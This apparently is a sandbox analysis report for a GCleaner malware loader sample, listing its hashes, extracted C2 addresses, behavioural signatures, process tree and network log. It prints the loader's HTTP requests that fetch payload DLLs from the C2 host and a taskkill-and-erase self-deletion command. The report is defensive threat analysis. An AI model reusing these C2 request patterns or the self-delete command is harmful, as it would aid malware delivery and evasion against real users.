Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    94s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/09/2024, 07:46 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe

  • Size

    311KB

  • MD5

    b0d985f94baf83124702f65dd32c9a32

  • SHA1

    a0bdf12cca957ba14a96ef7b59a033ee14f98f89

  • SHA256

    6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98

  • SHA512

    0ccf5d5e2070c79396e31e991097119b2ef46e2af43e41c407b87388b3e19a4dc4fdc974953c864e654fee17e68ec30e35f36a73711eb6748b611417b2866558

  • SSDEEP

    6144:KIopxVqUt3EgyNXLhcQORKft7RnXdProV0:KICVqUegyNbCU7RnXdPro

Score
10/10
gcleanerdiscoveryloader

Malware Config

Extracted

Family

gcleaner

C2

80.66.75.114

45.91.200.135

Signatures

  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 10 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 1 IoCs
    evasion
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
    "C:\Users\Admin\AppData\Local\Temp\6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3344
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 452
      2⤵
      • Program crash
      PID:2628
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 764
      2⤵
      • Program crash
      PID:64
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 776
      2⤵
      • Program crash
      PID:1964
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 820
      2⤵
      • Program crash
      PID:4760
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 868
      2⤵
      • Program crash
      PID:5084
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 928
      2⤵
      • Program crash
      PID:2276
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 932
      2⤵
      • Program crash
      PID:4920
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 928
      2⤵
      • Program crash
      PID:4320
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 1572
      2⤵
      • Program crash
      PID:796
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe" & exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:524
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /im "6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3832
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 1692
      2⤵
      • Program crash
      PID:3744
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3344 -ip 3344
    1⤵
      PID:4304
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3344 -ip 3344
      1⤵
        PID:4540
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3344 -ip 3344
        1⤵
          PID:4028
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3344 -ip 3344
          1⤵
            PID:4952
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3344 -ip 3344
            1⤵
              PID:60
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3344 -ip 3344
              1⤵
                PID:2704
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3344 -ip 3344
                1⤵
                  PID:2360
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3344 -ip 3344
                  1⤵
                    PID:3296
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3344 -ip 3344
                    1⤵
                      PID:3464
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3344 -ip 3344
                      1⤵
                        PID:528

                      Network

                      • flag-us
                        DNS
                        8.8.8.8.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        8.8.8.8.in-addr.arpa
                        IN PTR
                        Response
                        8.8.8.8.in-addr.arpa
                        IN PTR
                        dnsgoogle
                      • flag-us
                        DNS
                        8.8.8.8.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        8.8.8.8.in-addr.arpa
                        IN PTR
                      • flag-us
                        DNS
                        228.249.119.40.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        228.249.119.40.in-addr.arpa
                        IN PTR
                        Response
                      • flag-ru
                        GET
                        http://80.66.75.114/name
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /name HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: 1
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:39 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 7
                        Keep-Alive: timeout=5, max=100
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/add?substr=mixnine&s=three&sub=NOSUB
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /add?substr=mixnine&s=three&sub=NOSUB HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: 1
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:39 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=99
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/dll/key
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /dll/key HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: 1
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:39 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 21
                        Keep-Alive: timeout=5, max=98
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/dll/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /dll/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: 1
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:39 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Disposition: attachment; filename="fuckingdllENCR.dll";
                        Content-Length: 97296
                        Keep-Alive: timeout=5, max=97
                        Connection: Keep-Alive
                        Content-Type: application/octet-stream
                      • flag-ru
                        GET
                        http://80.66.75.114/files/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:39 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=96
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/files/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:42 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=95
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/files/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:44 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=94
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/files/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:46 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=93
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/files/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:48 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=92
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/files/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:50 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=91
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/files/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:52 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=90
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/files/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:54 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=89
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/files/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:56 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=88
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/files/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:46:59 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=87
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/files/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:47:01 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=86
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        GET
                        http://80.66.75.114/soft/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /soft/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: d
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:47:04 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Disposition: attachment; filename="dll";
                        Content-Length: 242176
                        Keep-Alive: timeout=5, max=85
                        Connection: Keep-Alive
                        Content-Type: application/octet-stream
                      • flag-ru
                        GET
                        http://80.66.75.114/soft/download
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        Remote address:
                        80.66.75.114:80
                        Request
                        GET /soft/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: s
                        Host: 80.66.75.114
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Thu, 12 Sep 2024 07:47:04 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Disposition: attachment; filename="soft";
                        Content-Length: 1502720
                        Keep-Alive: timeout=5, max=84
                        Connection: Keep-Alive
                        Content-Type: application/octet-stream
                      • flag-us
                        DNS
                        114.75.66.80.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        114.75.66.80.in-addr.arpa
                        IN PTR
                        Response
                      • flag-us
                        DNS
                        172.214.232.199.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        172.214.232.199.in-addr.arpa
                        IN PTR
                        Response
                      • flag-us
                        DNS
                        95.221.229.192.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        95.221.229.192.in-addr.arpa
                        IN PTR
                        Response
                      • flag-us
                        DNS
                        72.32.126.40.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        72.32.126.40.in-addr.arpa
                        IN PTR
                        Response
                      • flag-us
                        DNS
                        58.55.71.13.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        58.55.71.13.in-addr.arpa
                        IN PTR
                        Response
                      • flag-us
                        DNS
                        86.23.85.13.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        86.23.85.13.in-addr.arpa
                        IN PTR
                        Response
                      • flag-us
                        DNS
                        198.187.3.20.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        198.187.3.20.in-addr.arpa
                        IN PTR
                        Response
                      • flag-us
                        DNS
                        172.210.232.199.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        172.210.232.199.in-addr.arpa
                        IN PTR
                        Response
                      • flag-us
                        DNS
                        43.56.20.217.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        43.56.20.217.in-addr.arpa
                        IN PTR
                        Response
                      • flag-us
                        DNS
                        14.227.111.52.in-addr.arpa
                        Remote address:
                        8.8.8.8:53
                        Request
                        14.227.111.52.in-addr.arpa
                        IN PTR
                        Response
                      • 80.66.75.114:80
                        http://80.66.75.114/soft/download
                        http
                        6c10c6befa2ed075af8e443d10715aadfb5c01e9161317584a5429a69bcd4e98.exe
                        71.6kB
                         1.9MB
                         1393
                        1379

                        HTTP Request

                        GET http://80.66.75.114/name

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/add?substr=mixnine&s=three&sub=NOSUB

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/dll/key

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/dll/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/files/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/soft/download

                        HTTP Response

                        200

                        HTTP Request

                        GET http://80.66.75.114/soft/download

                        HTTP Response

                        200
                      • 8.8.8.8:53
                        8.8.8.8.in-addr.arpa
                        dns
                        132 B
                         90 B
                         2
                        1

                        DNS Request

                        8.8.8.8.in-addr.arpa

                        DNS Request

                        8.8.8.8.in-addr.arpa

                      • 8.8.8.8:53
                        228.249.119.40.in-addr.arpa
                        dns
                        73 B
                         159 B
                         1
                        1

                        DNS Request

                        228.249.119.40.in-addr.arpa

                      • 8.8.8.8:53
                        114.75.66.80.in-addr.arpa
                        dns
                        71 B
                         129 B
                         1
                        1

                        DNS Request

                        114.75.66.80.in-addr.arpa

                      • 8.8.8.8:53
                        172.214.232.199.in-addr.arpa
                        dns
                        74 B
                         128 B
                         1
                        1

                        DNS Request

                        172.214.232.199.in-addr.arpa

                      • 8.8.8.8:53
                        95.221.229.192.in-addr.arpa
                        dns
                        73 B
                         144 B
                         1
                        1

                        DNS Request

                        95.221.229.192.in-addr.arpa

                      • 8.8.8.8:53
                        72.32.126.40.in-addr.arpa
                        dns
                        71 B
                         157 B
                         1
                        1

                        DNS Request

                        72.32.126.40.in-addr.arpa

                      • 8.8.8.8:53
                        58.55.71.13.in-addr.arpa
                        dns
                        70 B
                         144 B
                         1
                        1

                        DNS Request

                        58.55.71.13.in-addr.arpa

                      • 8.8.8.8:53
                        86.23.85.13.in-addr.arpa
                        dns
                        70 B
                         144 B
                         1
                        1

                        DNS Request

                        86.23.85.13.in-addr.arpa

                      • 8.8.8.8:53
                        198.187.3.20.in-addr.arpa
                        dns
                        71 B
                         157 B
                         1
                        1

                        DNS Request

                        198.187.3.20.in-addr.arpa

                      • 8.8.8.8:53
                        172.210.232.199.in-addr.arpa
                        dns
                        74 B
                         128 B
                         1
                        1

                        DNS Request

                        172.210.232.199.in-addr.arpa

                      • 8.8.8.8:53
                        43.56.20.217.in-addr.arpa
                        dns
                        71 B
                         131 B
                         1
                        1

                        DNS Request

                        43.56.20.217.in-addr.arpa

                      • 8.8.8.8:53
                        14.227.111.52.in-addr.arpa
                        dns
                        72 B
                         158 B
                         1
                        1

                        DNS Request

                        14.227.111.52.in-addr.arpa

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\CFIOOOZS\download[1].htm
                        Filesize

                        1B

                        MD5

                        cfcd208495d565ef66e7dff9f98764da

                        SHA1

                        b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                        SHA256

                        5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                        SHA512

                        31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                        Download Submit

                      • memory/3344-2-0x0000000004510000-0x000000000454B000-memory.dmp

                        Filesize

                        236KB

                        Download

                      • memory/3344-1-0x00000000028A0000-0x00000000029A0000-memory.dmp

                        Filesize

                        1024KB

                        Download

                      • memory/3344-3-0x0000000000400000-0x000000000043F000-memory.dmp

                        Filesize

                        252KB

                        Download

                      • memory/3344-8-0x0000000010000000-0x000000001001C000-memory.dmp

                        Filesize

